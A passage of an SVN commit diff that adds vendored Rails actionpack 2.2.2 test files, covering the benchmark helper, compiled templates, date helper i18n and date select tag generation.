+        yield
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/benchmark_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/benchmark_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/benchmark_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,60 @@
+require 'abstract_unit'
+require 'action_view/helpers/benchmark_helper'
+
+class BenchmarkHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::BenchmarkHelper
+
+  class MockLogger
+    attr_reader :logged
+
+    def initialize
+      @logged = []
+    end
+
+    def method_missing(method, *args)
+      @logged << [method, args]
+    end
+  end
+
+  def controller
+    @controller ||= Struct.new(:logger).new(MockLogger.new)
+  end
+
+  def test_without_block
+    assert_raise(LocalJumpError) { benchmark }
+    assert controller.logger.logged.empty?
+  end
+
+  def test_defaults
+    i_was_run = false
+    benchmark { i_was_run = true }
+    assert i_was_run
+    assert 1, controller.logger.logged.size
+    assert_last_logged
+  end
+
+  def test_with_message
+    i_was_run = false
+    benchmark('test_run') { i_was_run = true }
+    assert i_was_run
+    assert 1, controller.logger.logged.size
+    assert_last_logged 'test_run'
+  end
+
+  def test_with_message_and_level
+    i_was_run = false
+    benchmark('debug_run', :debug) { i_was_run = true }
+    assert i_was_run
+    assert 1, controller.logger.logged.size
+    assert_last_logged 'debug_run', :debug
+  end
+
+  private
+    def assert_last_logged(message = 'Benchmarking', level = :info)
+      last = controller.logger.logged.last
+      assert 2, last.size
+      assert_equal level, last.first
+      assert 1, last[1].size
+      assert last[1][0] =~ /^#{message} \(.*\)$/
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/compiled_templates_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/compiled_templates_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/compiled_templates_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+uses_mocha 'TestTemplateRecompilation' do
+  class CompiledTemplatesTest < Test::Unit::TestCase
+    def setup
+      @compiled_templates = ActionView::Base::CompiledTemplates
+      @compiled_templates.instance_methods.each do |m|
+        @compiled_templates.send(:remove_method, m) if m =~ /^_run_/
+      end
+    end
+
+    def test_template_gets_compiled
+      assert_equal 0, @compiled_templates.instance_methods.size
+      assert_deprecated do
+        assert_equal "Hello world!", render("test/hello_world.erb")
+      end
+      assert_equal 1, @compiled_templates.instance_methods.size
+    end
+
+    def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+      assert_equal 0, @compiled_templates.instance_methods.size
+      assert_deprecated do
+        assert_equal "Hello world!", render("test/hello_world.erb")
+        assert_equal "Hello world!", render("test/hello_world.erb", {:foo => "bar"})
+      end
+      assert_equal 2, @compiled_templates.instance_methods.size
+    end
+
+    def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns
+      assert_equal 0, @compiled_templates.instance_methods.size
+      assert_deprecated do
+        assert_equal "Hello world!", render("test/hello_world.erb")
+        ActionView::Template.any_instance.expects(:compile!).never
+        assert_equal "Hello world!", render("test/hello_world.erb")
+      end
+    end
+
+    def test_compiled_template_will_always_be_recompiled_when_eager_loaded_templates_is_off
+      ActionView::PathSet::Path.expects(:eager_load_templates?).times(4).returns(false)
+      assert_equal 0, @compiled_templates.instance_methods.size
+
+      assert_deprecated do
+        assert_equal "Hello world!", render("#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
+      end
+
+      ActionView::Template.any_instance.expects(:compile!).times(3)
+      assert_deprecated do
+        3.times { assert_equal "Hello world!", render("#{FIXTURE_LOAD_PATH}/test/hello_world.erb") }
+      end
+      assert_equal 1, @compiled_templates.instance_methods.size
+    end
+
+    private
+      def render(*args)
+        ActionView::Base.new(ActionController::Base.view_paths, {}).render(*args)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/date_helper_i18n_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/date_helper_i18n_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/date_helper_i18n_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,113 @@
+require 'abstract_unit'
+
+class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
+  include ActionView::Helpers::DateHelper
+  attr_reader :request
+
+  def setup
+    @from = Time.mktime(2004, 6, 6, 21, 45, 0)
+  end
+
+  uses_mocha 'date_helper_distance_of_time_in_words_i18n_test' do
+    # distance_of_time_in_words
+
+    def test_distance_of_time_in_words_calls_i18n
+      { # with include_seconds
+        [2.seconds,  true]  => [:'less_than_x_seconds', 5],
+        [9.seconds,  true]  => [:'less_than_x_seconds', 10],
+        [19.seconds, true]  => [:'less_than_x_seconds', 20],
+        [30.seconds, true]  => [:'half_a_minute',       nil],
+        [59.seconds, true]  => [:'less_than_x_minutes', 1],
+        [60.seconds, true]  => [:'x_minutes',           1],
+
+        # without include_seconds
+        [29.seconds, false] => [:'less_than_x_minutes', 1],
+        [60.seconds, false] => [:'x_minutes',           1],
+        [44.minutes, false] => [:'x_minutes',           44],
+        [61.minutes, false] => [:'about_x_hours',       1],
+        [24.hours,   false] => [:'x_days',              1],
+        [30.days,    false] => [:'about_x_months',      1],
+        [60.days,    false] => [:'x_months',            2],
+        [1.year,     false] => [:'about_x_years',       1],
+        [3.years,    false] => [:'over_x_years',        3]
+
+        }.each do |passed, expected|
+        assert_distance_of_time_in_words_translates_key passed, expected
+      end
+    end
+
+    def assert_distance_of_time_in_words_translates_key(passed, expected)
+      diff, include_seconds = *passed
+      key, count = *expected
+      to = @from + diff
+
+      options = {:locale => 'en', :scope => :'datetime.distance_in_words'}
+      options[:count] = count if count
+
+      I18n.expects(:t).with(key, options)
+      distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
+    end
+
+    def test_distance_of_time_pluralizations
+      { [:'less_than_x_seconds', 1]   => 'less than 1 second',
+        [:'less_than_x_seconds', 2]   => 'less than 2 seconds',
+        [:'less_than_x_minutes', 1]   => 'less than a minute',
+        [:'less_than_x_minutes', 2]   => 'less than 2 minutes',
+        [:'x_minutes',           1]   => '1 minute',
+        [:'x_minutes',           2]   => '2 minutes',
+        [:'about_x_hours',       1]   => 'about 1 hour',
+        [:'about_x_hours',       2]   => 'about 2 hours',
+        [:'x_days',              1]   => '1 day',
+        [:'x_days',              2]   => '2 days',
+        [:'about_x_years',       1]   => 'about 1 year',
+        [:'about_x_years',       2]   => 'about 2 years',
+        [:'over_x_years',        1]   => 'over 1 year',
+        [:'over_x_years',        2]   => 'over 2 years' 
+
+        }.each do |args, expected|
+        key, count = *args
+        assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
+      end
+    end
+  end
+end
+
+class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
+  include ActionView::Helpers::DateHelper
+  attr_reader :request
+
+  uses_mocha 'date_helper_select_tags_i18n_tests' do
+    def setup
+      I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+    end
+
+    # select_month
+
+    def test_select_month_given_use_month_names_option_does_not_translate_monthnames
+      I18n.expects(:translate).never
+      select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
+    end
+
+    def test_select_month_translates_monthnames
+      I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+      select_month(8, :locale => 'en')
+    end
+
+    def test_select_month_given_use_short_month_option_translates_abbr_monthnames
+      I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
+      select_month(8, :locale => 'en', :use_short_month => true)
+    end
+
+    # date_or_time_select
+
+    def test_date_or_time_select_given_an_order_options_does_not_translate_order
+      I18n.expects(:translate).never
+      datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
+    end
+
+    def test_date_or_time_select_given_no_order_options_translates_order
+      I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+      datetime_select('post', 'updated_at', :locale => 'en')
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/date_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/date_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/date_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2085 @@
+require 'abstract_unit'
+
+class DateHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::DateHelper
+
+  silence_warnings do
+    Post = Struct.new("Post", :id, :written_on, :updated_at)
+    Post.class_eval do
+      def id
+        123
+      end
+      def id_before_type_cast
+        123
+      end
+      def to_param
+        '123'
+      end
+    end
+  end
+
+  def assert_distance_of_time_in_words(from, to=nil)
+    to ||= from
+
+    # 0..1 with include_seconds
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, true)
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, true)
+
+    # First case 0..1
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
+
+    # 2..44
+    assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
+    assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
+
+    # 45..89
+    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
+
+    # 90..1439
+    assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
+    assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
+
+    # 1440..2879
+    assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "1 day", distance_of_time_in_words(from, to + 47.hours + 59.minutes + 29.seconds)
+
+    # 2880..43199
+    assert_equal "2 days", distance_of_time_in_words(from, to + 47.hours + 59.minutes + 30.seconds)
+    assert_equal "29 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
+
+    # 43200..86399
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
+
+    # 86400..525599
+    assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
+
+    # 525600..1051199
+    assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years - 30.seconds)
+    assert_equal "about 1 year", distance_of_time_in_words(from, to + 2.years - 31.seconds)
+
+    # > 1051199
+    assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 30.seconds)
+    assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years)
+
+    # test to < from
+    assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, true)
+  end
+
+  def test_distance_in_words
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from)
+  end
+
+  def test_distance_in_words_with_time_zones
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
+    assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
+  end
+
+  def test_distance_in_words_with_different_time_zones
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(
+      from.in_time_zone('Alaska'),
+      from.in_time_zone('Hawaii')
+    )
+  end
+
+  def test_distance_in_words_with_dates
+    start_date = Date.new 1975, 1, 31
+    end_date = Date.new 1977, 1, 31
+    assert_equal("over 2 years", distance_of_time_in_words(start_date, end_date))
+  end
+
+  def test_distance_in_words_with_integers
+    assert_equal "less than a minute", distance_of_time_in_words(59)
+    assert_equal "about 1 hour", distance_of_time_in_words(60*60)
+    assert_equal "less than a minute", distance_of_time_in_words(0, 59)
+    assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
+  end
+
+  def test_time_ago_in_words
+    assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
+  end
+
+  def test_select_day
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
+    assert_dom_equal expected, select_day(16)
+  end
+
+  def test_select_day_with_blank
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
+    assert_dom_equal expected, select_day(16, :include_blank => true)
+  end
+
+  def test_select_day_nil_with_blank
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(nil, :include_blank => true)
+  end
+
+  def test_select_day_with_html_options
+    expected = %(<select id="date_day" name="date[day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
+    assert_dom_equal expected, select_day(16, {}, :class => 'selector')
+  end
+
+  def test_select_month
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
+    assert_dom_equal expected, select_month(8)
+  end
+
+  def test_select_month_with_disabled
+    expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
+    assert_dom_equal expected, select_month(8, :disabled => true)
+  end
+
+  def test_select_month_with_field_name_override
+    expected = %(<select id="date_mois" name="date[mois]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
+    assert_dom_equal expected, select_month(8, :field_name => 'mois')
+  end
+
+  def test_select_month_with_blank
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
+    assert_dom_equal expected, select_month(8, :include_blank => true)
+  end
+
+  def test_select_month_nil_with_blank
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(nil, :include_blank => true)
+  end
+
+  def test_select_month_with_numbers
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
+    assert_dom_equal expected, select_month(8, :use_month_numbers => true)
+  end
+
+  def test_select_month_with_numbers_and_names
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 - December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
+    assert_dom_equal expected, select_month(8, :add_month_numbers => true)
+  end
+
+  def test_select_month_with_numbers_and_names_with_abbv
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
+    assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
+  end
+
+  def test_select_month_with_abbv
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
+    assert_dom_equal expected, select_month(8, :use_short_month => true)
+  end
+
+  def test_select_month_with_custom_names
+    month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+    expected = %(<select id="date_month" name="date[month]">\n)
+    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+  end
+
+  def test_select_month_with_zero_indexed_custom_names
+    month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+    expected = %(<select id="date_month" name="date[month]">\n)
+    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+  end
+
+  def test_select_month_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
+  end
+
+  def test_select_month_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
+  end
+
+  def test_select_month_with_html_options
+    expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+    #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_month" name="date[month]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="1">January')
+  end
+
+  def test_select_year
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
+    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
+  end
+
+  def test_select_year_with_disabled
+    expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
+    assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
+  end
+
+  def test_select_year_with_field_name_override
+    expected = %(<select id="date_annee" name="date[annee]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+  end
+
+  def test_select_year_with_type_discarding
+    expected = %(<select id="date_year" name="date_year">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(
+      Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+    assert_dom_equal expected, select_year(
+      2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+  end
+
+  def test_select_year_descending
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
+    assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
+  end
+
+  def test_select_year_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
+  end
+
+  def test_select_year_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
+  end
+
+  def test_select_year_with_html_options
+    expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+    #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_year" name="date[year]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="2003"')
+  end
+
+  def test_select_hour
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
